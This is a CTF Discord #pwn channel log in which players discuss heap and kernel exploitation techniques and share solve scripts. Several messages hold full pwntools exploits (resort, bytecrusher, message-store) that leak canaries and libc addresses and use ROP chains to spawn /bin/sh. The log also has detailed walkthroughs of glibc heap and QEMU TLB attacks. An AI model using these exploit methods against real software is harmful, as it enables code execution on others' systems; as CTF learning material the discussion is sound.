#pwn

1 messages Β· Page 2 of 1

lofty ether
#

yea so basically you have an environment and a goal. for example, you can have many objects with "predicates" (basically properties) and you want to know if some predicate can be true. for example, every byte in memory can be an object and can have the predicate "is user controlled". you then have actions, which change the predicates of bytes. for example, if i wanted to represent a "gets()" on the heap as an action, i would mark every byte following the gets address as "is user controlled".

you feed your actions, goals, and objects into a pddl solver, and it'll spit out a series of actions to make the goal true. for example, maybe your goal is to set "is user controlled" on the bytes of __free_hook or something, and the pddl solver will figure out what series of heap allocations and frees and whatnot would make that true. it'd be cool if we had action definitions for four function heap, but as i mentioned before, at a certain level of specificity the problem is equivalent to symbolic execution. at that point, you might as well have angr try to find unconstrained states lol

cloud owl
#

Iiinteresting πŸ€”

#

Well TIL

placid kiln
#

we need house of house

vivid thicket
earnest ocean
#

baby-talk was the first heap chal i've ever tried (and solved after a bunch of trouble). the path i took was:

  • null byte poisoning to get libc/heap leak
  • house of einherjar to get heap overflow
  • tcache poisoning to overwrite __free_hook with system()
    and while that works i feel i massively overcomplicated it. is that a 'fair' path to take & were there simpler routes?
lavish blaze
#

Thats the only solution I think

valid turtle
#

Is there a write up for baby talk?
I understand the concepts of the exploit but can't understand how they all work together, like what are the steps to achieve a shell.

fallen egret
#

how did 80 teams solve this

whole hedge
fallen egret
#

true but this sounds significantly harder than running "mov a0, 1; setpriv; flag" which has 52 solves

lavish blaze
#

This challenge has a really common bug and its pretty normal in ctfs these days, its always the same exploit

#

but I agree that 80 is a lot

whole hedge
#

yeah I've seen einherjar come up oddly frequently in the past few months

#

sekai ctf had one too, although it was not the only way to solve it

lavish blaze
young gyro
#

except CTF community somehow worked on (toxic) heap challenges since forever

keen elm
#

guys this time I have a heap challenge, but now it's 3x more annoying to allocate 2 items

fresh osprey
#

intended solution is to wait for cosmic radiation to flip a bit in the heap metadata :)

spiral reef
keen elm
#

It being an OOO processor doesn't help

#

I think standard pipeline ones are easy to intuit but OOO is funky

spiral reef
#

yeh

unkempt flame
#

i didn't try to read it because it looked long

earnest temple
#

Yeah I was kind of nervous about forcing people to trudge through that much verilog

#

I didn't end up including my testbenches for each of the modules, since that would've been 1.5x the amount of code

#

but i still am not sure if that was the right decision πŸ€”

lavish blaze
frail lance
sly pecan
storm jasper
#

should be in the chall repo when it gets published

valid turtle
#

Heya, can somebody help me understand how the baby-talk solution works? I've tried reading both writeups posted by people here, but kept failing at the very first step, leaking the libc address.

In order to get a libc address, I understood that I have to allocate a chuck, allocate another, free the first (this way it will be inserted into a bin, and thus contain libc addresses as FD and BK. That's what I did to get the heap to look like in the pic below.
Then, by allocating the same size again i will get the same chuck, but not write anything to it, so the libc addresses stay there.

But when checking both of these addresses, they are both invalid and point to nothing. What am I missing (the pic shows the free'd first chuck)

frail lance
#

Newer libc versions have additional mitigations that prevent you from easily leaking these addresses.
Try googling "glibc safe linking".

lavish blaze
# valid turtle

Those looks like tcache metadata. Try to allocate and free a bigger chunk, which will go to the unsorted bin

#

Also you are not using the same libc version as the challenge

valid turtle
valid turtle
lavish blaze
lavish blaze
valid turtle
# lavish blaze Iirc something like 0x420

ok, thx & sry for the delay, with 0x430 it worked - i see libc addresses which point to main_arena like expected.
and now my next step should be to print out the first chuck to get the leak and find system...

And then I utilize the null byte overflow in order to make the program consolidate a second chuck to my first "free" chuck - in which i'll be writing the address of __malloc_hook or __free_hook in place of the FD or BK pointer in the "free" chuck? Am I in the right direction?

lavish blaze
#

Yes something like that

cloud owl
sly pecan
storm jasper
#

oh strolled

#

@earnest temple

earnest temple
#

I can send them tomorrow if you're interested

sly pecan
keen elm
urban sierra
#

Which version of libc does baby-talk use?

#

I can't find libc file😭

heady stirrup
earnest temple
stuck pivot
keen elm
#

baby-talk writeups ive seen do provide a fd_nextsize/bk_nextsize forging

#

if its omitted, it could just be that glibc doesnt care

stuck pivot
#

Yeah I just saw that when i didnt use it in my exploit it wasnt required, so maybe it is not checked for, I have to check the source code of glibc

edit: It seems that the fd_nextsize and bk_nextsize pointers might only be used in the largebins

gaunt shadow
#

@analog cave can i also win an all-expenses paid flag to this challenge lemonthink

analog cave
#

!flag

warped dirgeBOT
#

dice{2025}

desert thistle
#

!flag

woven axle
#

locked-room full armor

#

lol

coral heart
#

dang it still hasnt been blooded yet

#

surely my chal wont go unsolved again this year right

#

right??

plucky shale
#

?

coral heart
#

yeah

plucky shale
coral heart
#

o

#

amazing

coral heart
#

holy based

plucky shale
#

if everything is right

#

we will close

coral heart
#

πŸ™

ionic marsh
#

@coral heart you made locked_room?

coral heart
#

yea

ionic marsh
#

So far its a great challenge, spent like 3h on it, found a vuln but I am still a noob at pwn, cant finish the challenge haha

#

Need to learn a bit

#

The vuln was very subtle haha

coral heart
#

good luck, it only gets harder from there :^)

ionic marsh
#

Yeah I know 😭

#

Thats why I am doing r2uwu now

#

A little easier haha

icy prawn
#

thanks google cloud for $300

#

our exploit for a challenge required too many interactions and we were always getting timed out clueless

plucky shale
#

πŸ₯Ί

#

my blood is losing

icy prawn
#

huh

coral heart
#

amazing

plucky shale
#

not me

#

......

coral heart
#

lmao

#

u got scammed

plucky shale
silk zinc
ionic marsh
#

well these pwn ones are breaking my mind

#

ggs

forest breach
ionic marsh
iron mauve
#

nice that #announcements says to open ticket, but the challenge is not an option πŸ˜„

regal drift
#

@covert compass ^

covert compass
#

we forgor to update the list

#

πŸ’€

#

errrr

#

For now, open a ticket using something else @iron mauve

native swift
#

just added bassoon

#

should work now

coral heart
#

lmao

#

have fun πŸ™‚

potent brook
wicked yoke
mental root
#

πŸ’€πŸ’€πŸ’€

coral heart
#

i guess you should work on locked room instead since it has solves :^))))

oak cave
#

I'm dyng to know the intended for locked room

#

That chall is crazy

#

Will you release authors writeups after the ctf ends?

polar frost
coral heart
#

yeah we'll have a solve script

spare zodiac
#

any bassooners? πŸ₯Ί

fresh osprey
#

worked on it for a while but i don't think it's happening in the next thirty minutes πŸ˜΅β€πŸ’« not a professional bassooner

stoic spruce
robust spire
red gate
#

cinema assoluto

robust spire
unkempt flame
#

writeup for locked room?

robust spire
#

@spare zodiac drop the solve

white osprey
#

plz solve for locked_goon

potent brook
#

was the trick for locked_room finding the right fake chunk ?

unkempt flame
wicked yoke
#

there's no right fake tcache chunk πŸ‘€

#

max_address check kills u as well

potent brook
wicked yoke
#

if that's what u ask about

robust spire
karmic crag
#

you can overwrite the main_arena->top to a glibc address

wicked yoke
#

how do u do that if &main_arena lies in glibc itself?

coral heart
#

largebin attack

wicked yoke
#

i've played with largebins too

potent brook
oak cave
#

Bro i fuzzed like shit and got everything except an arb write

spare zodiac
#

for locked room, idk if intended is different, this is just when i test solved: usetwo largebin attacks, one to overwrite global_max_fast and another misaligned one to forge a chunk header above main_arena.top, uses the extended fastbins to leak stack from a mangled list pointer and overwrite system_mem with heap pointer, then tsu to overwrite top with a libc address and allocate on the fake chunk to write a stack address to top, then find valid chunk header in stack and rop

unkempt flame
wicked yoke
#

but i could only write ptr to arbitrary address to heap where i controlled data

karmic crag
#

I got this solve script from a message bottle sent by Golden Witch Beatrice.

coral heart
white osprey
karmic crag
#

Golden Truth: Craft a fake fastbin chain on the heap, overwrite the global_max_fast to a huge value with large bin attack, so main_arena->top will be considered as a fastbin entry.

#

Do a large bin attack again to overwrite the lower bytes of top pointer to make it point backwards to the fake fastbin chain.

robust spire
#

OK BUT WHERE BASSOON SOLVE?????

spare zodiac
#

give me a sec

robust spire
#

thanks HAHAHAHAHA

potent brook
#

damn what a nice chall, i went on a completely different (and erroneous) path

tribal star
#

any writeup for resort?

ionic marsh
potent brook
#

btw @spare zodiac i'm starting to think that you some kind of special relationship with the pipe_buffer struct πŸ˜„

spare zodiac
#

wait did anyone make significant progress on bassoon, if someone is still working on it and wants to solve i don't want to spoil

spare zodiac
#

but i knew there was probably a million other ways too so no big deal

robust spire
sweet pulsar
#

could someone drop the solve for debugapwner?

robust spire
ionic marsh
#

Resort solve please

potent brook
oak cave
#

In italy we say porcamadonna

robust spire
spare zodiac
#

oopsie

robust spire
#

why the kernel pwns always have to be heap bofs 😭

polar frost
low prawn
#

isnt pipe buffer in the cg cache? cross cache??

robust spire
low prawn
#

what??

potent brook
spiral reef
low prawn
#

thats so dumb

spare zodiac
#

did anyone notice the sed in the linux.dockerfile

low prawn
#

yes

polar frost
low prawn
#

we were able to control the stack/retaddr

iron mauve
robust spire
# spiral reef how did you overwrite next ptr?

0x100 tchace chunks were contigous, so i used three of them to
chunk 1 corrupts chunk2 size to clobber chunk3
free chunk2 to consolidate size
free chunk3
alloc chunk2, now you writing on chunk3 metadata

robust spire
spare zodiac
#

it disables stack canary and bug that allows you to overflow socket getname

#

which is intended solution

spiral reef
spare zodiac
#

let me post my solve for that way, even though pipe_buffer is exponentially easier

ionic marsh
#

Brooo please someone send the resort one for the love of god

robust spire
spare zodiac
ripe oak
#

r2uwu2s-resort:

from ctypes import CDLL
from pwn import context, flat, p64, remote, sys, u64


rand = CDLL('libc.so.6').rand

context.binary = 'resort'
glibc = context.binary.libc


def get_process():
    if len(sys.argv) == 1:
        return context.binary.process()

    host, port = sys.argv[1], sys.argv[2]
    return remote(host, port)


def write_uint8_at(offset, value):
    to_send = []
    current = 0

    while True:
        to_send.append(str(offset + 1).encode())

        if rand() % 4 == 3:
            break
        else:
            rand() % 256

    while current != value:
        to_send.append(str(offset + 1).encode())

        if rand() % 4 == 3:
            current = 0
        else:
            dmg = rand() % 255
            current = (256 + current - dmg) % 256

    io.sendlineafter(b'> ', b'\n'.join(to_send))


io = get_process()

io.recvuntil(b'r2uwu2 @ ')
context.binary.address = int(io.recvuntil(b' ', drop=True).decode(), 16) - context.binary.sym.print_ui

io.success(f'ELF address: {hex(context.binary.address)}')

# 0x000000000000179b: pop rdi; pop rbp; ret;
pop_rdi_pop_rbp_ret_addr = context.binary.address + 0x179b

# 0x000000000000101a: ret;
ret_addr = context.binary.address + 0x101a

rop_chain = flat([
    pop_rdi_pop_rbp_ret_addr,
    context.binary.got.printf,
    0,
    context.binary.plt.puts,
    ret_addr,
    context.binary.sym.main
])

ret_offset = 0x6c

for i, c in enumerate(rop_chain):
    write_uint8_at(ret_offset + i, c)

for i in range(3):
    write_uint8_at(i, 0)

io.recvuntil(b'r2uwu2 wins!\n')
glibc.address = u64(io.recvline().strip().ljust(8, b'\0')) - glibc.sym.printf
io.success(f'Glibc address: {hex(glibc.address)}')

rop_chain = flat([
    pop_rdi_pop_rbp_ret_addr,
    next(glibc.search(b'/bin/sh')),
    0,
    glibc.sym.system
])

for i, c in enumerate(rop_chain):
    write_uint8_at(ret_offset + i, c)

for i in range(3):
    write_uint8_at(i, 0)

io.recvuntil(b'r2uwu2 wins!\n')
io.interactive()
potent brook
robust spire
robust spire
odd star
#

what was debugapwner TwT

#

12 bit brute force did not cook

iron mauve
robust spire
#

ENZO HOW DO I LEAK SOME GODDAMN ADDRESSES

stoic spruce
odd star
#

ending it all

#

i gave up on popen

heady stirrup
polar frost
#

πŸ“£ πŸ˜‚

spare zodiac
low prawn
polar frost
#

unfortunate

oak cave
chrome skiff
#

I am curious about the intended on r2uwu2s-resort. I don't think I did it on the intended way because I didn't used any leak.

potent brook
iron ocean
polar frost
#

yeah i thought possibly i should have added a pow to make people find it 😭 its no big deal though, just a neat trick

robust spire
plucky vigil
low prawn
potent brook
robust spire
#

ENZO I SWEAR WE WILL FORGET THE VSYSCALL INCIDENT

iron ocean
coral heart
#

vsyscall incident?

spare zodiac
#

???

low prawn
#

also any idea why meltdown doesnt work

robust spire
low prawn
#

we just needed a leak honestly

potent brook
low prawn
#

the writeup was talking about everything in the gfp_kernel cache

#

including pipe_buffer

hexed furnace
iron ocean
ripe oak
whole hedge
#

POV: I did not realize u could leak heap and libc in locked-room and tried my best to do everything leaklessly

ionic marsh
#

But I dont understand the need to predict rand, cant we just wait for the one thing we want?

ripe oak
iron ocean
potent brook
ionic marsh
#

Also where dis you input the gadgets? There was nowhere you could input it right? Only for choice

ionic marsh
odd star
ionic marsh
#

And has infinite

whole hedge
iron ocean
hidden cargo
#

I jumped into lockbox too late so couldn't finish my solve, but yeah its basically almost same as intended

oak cave
#

My idea was to somehow overwrite arena_ptr->max_address and then comfortably tcache poison since i had a double free going somehow

chrome skiff
# ripe oak How?

Basically, since the return address is a libc address and the offset to the one-gadget is known, I simply overwrote the last 3 bytes to use the one-gadget.

hidden cargo
potent brook
#

i was stressing each time i ran a for loop to do some allocations on locked πŸ˜„

ionic marsh
#

On resort the whole time I thought it was the OOB that wasnt checked for choice, wasn it that it?

oak cave
#

Never managed to get a chunk into the arena though,

whole hedge
chrome skiff
ripe oak
ionic marsh
robust spire
whole hedge
analog cave
#

#free leaks for all

#

#i'm not like enzo

robust spire
#

#free leaks for all

ionic marsh
#

Lmao I didnt even manage to get the easy pwn

analog cave
#

i have a solve script but no writeup

karmic crag
analog cave
iron ocean
oak cave
ionic marsh
#

Wait you decremented so that the return address matched a gadget WOW

#

All I thought I could do was set it to 0 with the DOM item

hidden cargo
ionic marsh
#

You could actually subtract to form a valid gadget 😭😭

whole hedge
ionic marsh
#

I am so dumb I didnt think subtracting would get a valid gadget

hidden cargo
spare zodiac
#

that run just added enough env vars, it would work with anything >5 so locally for most people without run, just not in redjail, and idk why i golfed the run binary was just being unnecessarily toxic

hidden cargo
#

I saw binary was golfed and I was like, prolly not important

whole hedge
#

i dont even run stuff directly on my host anymore, i always just reproduce the setup in docker whenever possible

#

I've been traumatized enough in the past by dumb env shit lol

spare zodiac
#

do you want bassoon solve

robust spire
#

ye...

fresh osprey
#

YES

spare zodiac
#

ok

robust spire
#

WHY YOU EDGING ME

robust spire
spare zodiac
#

intended solve for pwn/bassoon, i might do a full writeup later but this has all the important ideas:

first part is getting consistent heap corruption primitives using the fact that all 7 0x100 tcache entries are almost always contiguous. from here you can get overlapping chunks and prepare a UAF write. next part is figuring out what structure to actually target. we don't have partial overwrite which forces us to target something that gets allocated after our corruption, and prevents us from dealing with things containing absolute addresses. most important things are allocated in the main heap, and the thread heap is mostly used by TCG.

there may be multiple approaches, but my solution is to overwrite entries in the TCG fast path CPUTLBEntry table, which basically implements the TLB for guest virtual to host virtual address translation. it gets reallocd on the thread heap in tlb_mmu_resize_locked which gets triggered either periodically from tlb_flush_by_mmuidx_async_work which we can't control very well, or on a single page flush if the page is a large (huge) page. we can thus flush a huge page with invlpg to trigger resizing. the new size is based on a rate calculated within a 100 ms window, so we want to busy loop at cpl0 after the first flush to get a low rate and downsize the table.

there are tables for each mmu_idx type, which is an arch-based classifier. for x64, there are 3 main ones: usermode, kernel mode, and kernel mode running/accessing usermode code/memory implying no SMAP/SMEP. you could simplify the exploitation by doing it all through one mmu_idx so you don't need to context switch to trigger TLB activity between invlpg'ing, but i just did it with the usermode TLB anyway and had a kernel module that let me call my own userspace functions at cpl0. the noise taming part is very difficult, since TCG is constantly allocating chunks of 0x28 to insert nodes into qtree during TCG translation within tb_gen_code (called for each basic block). we get around this by stuffing all of our important operations for triggering heap activity like the intel HDA writes and invlpgs into single basic blocks at a time.

#

we get overlapping chunks and free a size 0x810 for the fast TLB to reclaim when it downsizes to minimum size of 0x40 (0x20 size per entry). each entry in the table has 3 virtual addresses and one addend. the virtual addresses correspond to the guest virtual addresses translations for read, write, and code accesses, and the addend gets added to the virtual address to calculate the host address. we can't control the addend usefully without leaks, but we can overwrite the virtual address, and the difference between our overwritten one and the old one effectively gets added to the addend during translation. this is how we are able to get reliable memory corruption leaklessly, and i think it's a pretty cool and novel technique.

the host address a virtual address maps to is dependent on the physical address, so we can get a reliable location in the mapping space by having our vaddr tied to a fixed physical address like 0. the thread heap arena is consistently 0x7e00000 bytes behind the host mapping for physical address 0. 0x7e0 & 0x3f is also 0 so this will be placed at index 0 in the table making it easy to overflow into. so we first map 0x7e00000 to 0, and now overflow the virtual addresses to 0, and when we deref 0 it will hit the TLB and translate as (intended host address - 0x7e00000) + 0 which we have established is just the thread heap arena.

so now we have arb read/write into the first page of the arena which contains things like tcache bins and various pointers to other regions. i leaked the rwx region and main heap, then overwrote two tcache entries to first write shellcode to the rwx region and then overwrite a function pointer in the main heap with a pointer to the shellcode.

all of the past qemu exploits i've seen for real vulns usually try to get some explicit leak primitive either from a separate vuln or some random device, but i think it's cool that it's theoretically possible in a stable enough environment to do this sort of leakless technique. it does rely on TCG though, maybe i'll try this challenge again but with KVM and see if it's still possible.

robust spire
#

BRO WHAT

ionic marsh
#

Yeah ggs

karmic crag
#

nice chall

stoic spruce
#

very interesting but pretty crazy for 24h

#

not that 48 would have changed anything but i think its a good idea to release the hardest challenges first

spare zodiac
stoic spruce
robust spire
#

gg enzocut, that looks absolutely crazy, could you pls tell step by step what you did? just to understand better the explaination

nocturne steppe
#

roma nord eboy going crazy in the chat

still yew
#

roma nord eboy absolutely obliterated by the qemu pwn

robust spire
# nocturne steppe roma nord eboy going crazy in the chat

bruh i spent something like 20h on this chall, thought i just needed a random and simple struct to corrupt or that i was just skill issueing a way to read my chunk, turns out i was miles away from the flag and that the chall is fucking cursed

robust spire
#
  • i got edged for the solve
stoic spruce
nocturne steppe
robust spire
nocturne steppe
#

wish I could've been there for you king

#

I was too busy supplying abello with the stash

lime wasp
#

I CAN CONFIRM

stoic aspen
#

For debugapwner: there is an out of bounds write on flag with the opcode 0x51, so we can overwrite correct_msg with /bin/sh + the binary is partial RELRO => partial overwrite of the GOT entry of puts with the address of system (works once in 4096 attempts).
Moreover flag is indexed by an int and read_uleb128 reads a ulong, thus it is possible to write at negative indexes.

woven parcel
#

for debugapwner, like the good human being that I am, I politely asked clubby in ticket if 12 bit bruteforce is too much. seeing as the response was that it's too much I proceeded to look for a less random solution for many hours. after much pain I found that I could overwrite puts with gets (1/16) and then some unresolved functions in the binary (I used elf_end and fprintf another 1/16) to trigger some got chaining. this let me leak libc with puts call by overwriting chars in correct_string until we hit stderr, then call gets on correct_string to write pointer to libc got into stderr, and finally use elf_end to jump to main which called fprintf with stderr in rdi. this let me call gets with controlled rdi anywhere in libc so I just did setcontext. ended in a 1/256 brute so not as optimal as intended, but much more reasonable

low prawn
stoic aspen
#

Nice, I couldn't see how to do better than 12-bit bf

spare zodiac
agile vale
#

We just did 12-bit bruteforce without thinking twice. xd

#

And had like 4 ppl running ten instances of the sploit each. xd

#

Took just a few minutes.

stoic aspen
#

About an hour for me with 3-4 instances of my script above on my machine

#

Maybe a bit less, I don't remember

agile vale
#

Someone had a server in US, which was running much faster than from Europe.

stoic aspen
#

Ah yes, it was so slow for us Europeans 😦

agile vale
#

Europe is a 3rd world country.

stoic aspen
#

One of my teammates also had trouble on r2uwu2s due to the slowness of the connections

agile vale
#

You can rent a cloud server for just a few cents though.

stoic aspen
#

Who rents a server for a ctf chall?

ivory cedar
#

many ppl

#

so many

stoic aspen
#

It's on the cursed ctf tactics iceberg iirc πŸ‘€

ivory cedar
#

uhm

#

gg

#

icebergs are meant to be explored!

stoic aspen
#

Yes, I'm just kidding πŸ˜„

mortal glacier
rare basin
#

My solution for locked-room was quite different, I didn't "disable" the range checks (no overwriting of system_mem etc), and didn't leak stack (just libc and heap). I built a write primitive around smallbin->tcache stashing using these two writes:
(a) bck->fd = bin (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3937)
(b) writing next in tcache_put (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3939)

Let's create a chain of k fake smallbin chunks. The bk of the last chunk points to some target location victim.

(a) enables us to write smallbin pointer to arbitrary location - for this we use k=8. The stashing returns the first chunk and moves the next 7 chunks into tcache. The write happens when the final chunk is stashed.

(b) enables us to write mangled pointers (partially controlled by us) - for this we use k=7. In this case, our victim pointer becomes the final stashed chunk. To avoid crash, [victim+0x18] (bk) must be a writable pointer, we can get around that by first writing smallbin pointer there using (a). Then tcache_put writes mangled pointer to previous chunk to victim+0x10 (next). It also clobbers bunch of stuff, but who cares. Now note that we can setup this previous chunk anywhere on the heap. In particular, we can obtain arbitrary lowest byte in the mangled pointer. Thus we can write arbitrary data to arbitrary location byte by byte.

This method is quite alloc-intensive, to reduce the allocations I linked tcache_perthread_struct into tcache, and setup all chains in a batch (so some steps could be done using single tcache_perthread_struct write for all ops).

#

To get shell, I overwrote tunable_get_val plt entry in libc. It is called by ptmalloc_init during malloc initialization. To call it again, I just clear malloc_initialized flag. Unfortunately, there was no compatible onegadget, so I did some pivoting (ret to stack buffer with user input which pivots to ROP chain on heap). I ended up using 92/100 allocations.

coral heart
#

wack

#

cool to see multiple solutions though

#

that arent just cheese lol

stoic aspen
plucky shale
magic timber
#

This is my solve for locked room.

  1. Get a double free on fastbin by freeing a fastbin next to top chunk, then allocating from top chunk to clear PREV_FAST_FREED
  2. Use this to allocate on tcache_perthread_struct
  3. largebin attack on main_arena->system_mem
  4. largebin attack on smallbin[0xa0].bk to create a viable top chunk size within main_arena
  5. tcache stash to leak stack
  6. tcache stash to overwrite av->top
  7. put fake size in fastbin array, then allocate on main_arena to overwrite main_arena->top to point to stack
  8. ROP
sweet pulsar
#

did anyone get the docker env working for debugging debugapwner? i didn't solve but going back to it now and can't get it working

polar frost
#

If you want to debug, I'd probably remove the pwn.red/jail part, and install socat + gdbserver in the Docker to allow you to attach before it runs

#

Alternatively use pwninit to get the libc linked on host

sweet pulsar
#

running it was fine it was attaching the debugger that was the issue

#

ill try swapping it to socat

#

ty

#

i did try pwninit but it didn't manage to patch the aditional deps and couldn't get it working manually with patchelf

#

is just me being dumb ;P

polar frost
#

Oh yeah I remember running into that - socat + gdbserver is probably the most painless then

indigo zodiac
#

1

wicked yoke
#

just do sudo -E gdb --ex 'attachp dwarf' ./dwarf

#

u can add in --retry to attachp to automagically retry until the process pops up

#

and u then do ur standard pwntools remote script with HOST=localhost PORT=5000

#

and u have 1:1 env

#

(note: that's on the latest dev branch of pwndbg, need to cut off another release :p)

#

(otherwise the attachp ... may find gdb process for its partial matching :x)

polar frost
#

Interesting πŸ‘€

#

I use gef currently but good to know

sweet pulsar
woven parcel
#
p = remote('0.0.0.0', 5000)
p.recv(1)

pid = run("pgrep dwarf", shell=True, capture_output=True).stdout.decode().strip()
pid = int(pid)

context.terminal = ...

script = """
c
"""
g = gdb.attach(pid, exe="dwarf_patch", gdbscript=script, sysroot=f"/proc/{pid}/root/", api=True)
#

this is what I did and it worked great

#

the only quirk with this challenge was that the python script read the initial input and launched the binary, so it was tricky to get the actual dwarf process to hang. I ended up patching the first two pushes in main to be an infinite loop. and then in gdbscript can just set $rip=$rip+2 and it works great

wicked yoke
#

U can attach to a process that is in docker from the host

woven parcel
#

sounds like the script doesn't do any attaching and is just responsible for sending payload, interacting with remote, etc.

agile vale
#

Ah, you mean to use pwntools gdb api feature. Then I think attachp won't work and you have to do exactly what you did. IIrc there was an issue on pwntools repo that proposed adding support for starting process in docker and attaching to them, but no one ever got around doing that.

agile vale
#

Although, you don't have to run pgrep manually, as iirc gdb.attach just accepts process name as argument.

woven parcel
woven parcel
#

I think pgrep is just more forgiving and won't require the exact name/command and makes setting sysroot easier

wicked yoke
#

Yup, pwntools api wont work with attachp

#

But u can have a script in py that would do some stuff too, tho, pwntools scripting may be better, idk

#

We need to finally stabilize and announce/document pwndbg python apis πŸ™‚

chrome skiff
#

any writeup for oboe?

potent brook
regal trout
#

hai guys

fickle oasis
#

can you help me download the propper libc6 for the pwn challenges

polar frost
#

All files required to solve are included

worldly burrow
#

me when i can't find the vuln in garden

worldly burrow
#

i crashed my vm trying to exploit the garden chall

#

πŸ’€

worldly burrow
#

me after finding vuln in garden chall

valid ivy
#

how to garden πŸ˜”

unreal adder
#

grow a beanstalk

ivory cedar
#

@unreal adder favorite plant?

unreal adder
#

in a garden, ζ±‰θœ is delicious

#

the leaves of amaranthus tricolore, stir fried with garlic

#

or is it Amaranthus dubius

#

red spinach

sudden tinsel
#

then you put the liquid on rice and the rice becomes red too

#

πŸ˜‹

unreal adder
#

omg you know about this??

#

what do you call it

#

i haven't heard anyone call it by this name outside of wuhan

sudden tinsel
#

just red spinach

worldly burrow
#

how long is the pow supposed to take? πŸ’€

unreal adder
#

I don't remember having a pow on pwn/garden

worldly burrow
#

its taking like 4 minutes just to do pow

#

πŸ’€

unreal adder
#

for which challenge?

#

oh wait garden does in fact have a pow

worldly burrow
#

yea it does

unreal adder
#

the pow difficulty is 30000, it shouldn't take more than a minute

#

maybe try reconnecting?

worldly burrow
#

yea that worked

#

@unreal adder
good chall !

unreal adder
#

thanks :)

#

now time to pwn the CoRnel

worldly burrow
unreal adder
#

or do some other category

worldly burrow
#

or go to sleep

unreal adder
#

true

worldly burrow
#

im so disappointed there isn't a heap chall :((

jaunty storm
worldly burrow
#

how is that heap tho

jaunty storm
#

how is it not

#

its just not ptmalloc

#

and even then ptmalloc is like slightly involved

worldly burrow
#

tbf it's yet another userland chall.
it has no heap stuff :((
only like custom heap, stack and garbage collection

#

one heap chall per day keeps the doctor away

jaunty storm
#

πŸ₯΄

#

also heap note is boring as fuck

#

im glad they didnt make a filler challenge like that

worldly burrow
#

i mean you can't even call the custom heap ... heap

#

it's just kinda like a stack or something yk

#

idk .. it's just not heap

#

:((

worldly burrow
jaunty storm
worldly burrow
#

yea ur right

#

so sad that people just slopped the chall :((

civic pecan
#

CornelπŸ’©

worldly burrow
#

@strange pecan
will there be a wu for cornel?
(love ur posts btw)

patent willow
#

Cornel is going to end me gng

worldly burrow
#

well i didn't take a look.

#

im pretty sure i can't solve it :((

#

will read wu

patent willow
worldly burrow
#

kernel exploitation last two challenges are hard tho

#

kernel security is really easy

patent willow
worldly burrow
#

they are not even kernel one might say

strange pecan
worldly burrow
#

what about for us? πŸ₯Ή

strange pecan
#

hmm there is a main strat im willing to talk about for the challenge

#

which from that point you can solve in a million ways lol

knotty patio
#

fizzbuzz why u dont share writeup in zip file

#

like if someone has made good progress u give him zip to see where he missed

unreal adder
worldly burrow
#

it's more of a vm chall

#

not really a chall focused on heap feng shui

unreal adder
#

i think there is a definitely feng shui involved :)

#

glibc heap is just one super specifically well-studied implementation of memory management

worldly burrow
#

good chall. that's all i can say really.

patent willow
#

solve for kernel?

fallen egret
#

so how do you solve cornelslop?
(I found double frees but could not trigger them without crashing, apparently due to RCU refusing to call destructors until a context switch on all cores or something)

patent willow
worldly burrow
#

solver for bytecrusher:

#!/usr/bin/env python3
from pwn import *

exe  = context.binary = ELF(args.EXE or './bytecrusher')
libc = ELF(exe.libc.path) if exe.libc else None

io = remote('bytecrusher.chals.dicec.tf', 1337)

canary = 0
for i in range(7):
  io.sendlineafter(b':', b'A'*8)
  io.sendlineafter(b':', str(0x49+i).encode())
  io.sendlineafter(b':', b'3')

  io.recvuntil(b'string:\nA')
  canary |= u8(io.recv(1)) << (i*8)
  io.recvuntil(b':')

canary = canary<<8

libc_leak = 0
for i in range(6):
  io.sendlineafter(b':', b'A'*8)
  io.sendlineafter(b':', str(0x68+i).encode())
  io.sendlineafter(b':', b'3')

  io.recvuntil(b'string:\nA')
  libc_leak |= u8(io.recv(1)) << (i*8)
  io.recvuntil(b':')

libc.address = libc_leak - 0x2a1ca

for i in range(3):
  io.sendlineafter(b':', b'A'*8)
  io.sendlineafter(b':', str(0).encode())
  io.sendlineafter(b':', b'3')
  io.recvuntil(b':')
  io.recvuntil(b':')

log.info(hex(libc.address))
log.info(hex(canary))

'''
0x001a2692: ret;
0x001157cc: pop rdi; ret;
'''
rop  = b''
rop += p64(libc.address+0x1157cc) + p64(next(libc.search(b'/bin/sh\x00')))
rop += p64(libc.address+0x1a2692) + p64(libc.sym.system)

io.sendline(b'A'*24 + p64(canary) + p64(0) + rop)

io.interactive()

chilly compass
#

how'd you guys do the message-store?
I found that I can call functions and etc
but couldn't figure it out from there

patent willow
iron ember
worldly burrow
#

message

#!/usr/bin/env python3
from pwn import *

exe  = context.binary = ELF(args.EXE or './challenge')
libc = ELF(exe.libc.path) if exe.libc else None

def start(argv=[], *a, **kw):
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)

    else:
        return process([exe.path] + argv, *a, **kw)

gdbscript = '''
init-pwndbg
b *0x243a92
c
'''.format(**locals())

io = start() 

payload  = flat({
 0x00: p64(0),
 0x08: p64(0x2f9e38+0x290), 
 0x10: p64(8),
 0x18: p64(2),
 0x60: p64(0x243431)+p64(0x2f9e38+0x390),
 0x70: p64(0x24afca)+p64(0x2f9e38+0x390),
 0x80: p64(0x297260),
 0x88+0xa: p64(0x247566)+p64(0x2f9e38+0x390)+p64(0x2b4e72)+p64(0x242d78),
 0x1a0: p64(0xb6c200000000),
 0x1a8: p64(0x100),
 0x290: b'/bin/sh\x00'.ljust(8, b'\x00'),
})

io.sendlineafter(b'>', b"1")
io.sendlineafter(b'?', payload)
io.sendlineafter(b'>', b"2")
io.sendlineafter(b'>', str(3367).encode())
io.sendlineafter(b'>', b"3")

rop  = b''
rop += p64(0x24349d) + p64(0x2f9e38+0x290)
rop += p64(0x243431) + p64(0) + p64(0x2ed673)
rop += p64(0x249f2c) + p64(0x3b)
rop += p64(0x2a6602)

pause() ; io.sendline(rop)
io.interactive()
cunning latch
#

what was the strategy for message store? I could not figure out anything useful to call

chilly compass
patent willow
quiet flare
#

any kernel writeup ??

azure marsh
#

message is just call do_exec and you can control rdi from rax+0x80:

def set_message(message):
    sla("> ", "1")
    sla("New Message? ", message)

def set_color(ind):
    sla("> ", "2")
    sla("> ", str(ind))

def print_message():
    sla("> ", "3")

set_message(p64(0x26de30) + b'\x00'*0x76 + p64(0x2f9ec2) + b'\x00' * 4 +b'/bin/sh\x00\x00\x00\x00\x00')

set_color(4778)

print_message()
worldly burrow
humble chasm
vale light
worldly burrow
#

naah

#

i think you just uploaded the exploit

#

πŸ’€

#

this has to be it

iron ember
worldly burrow
#

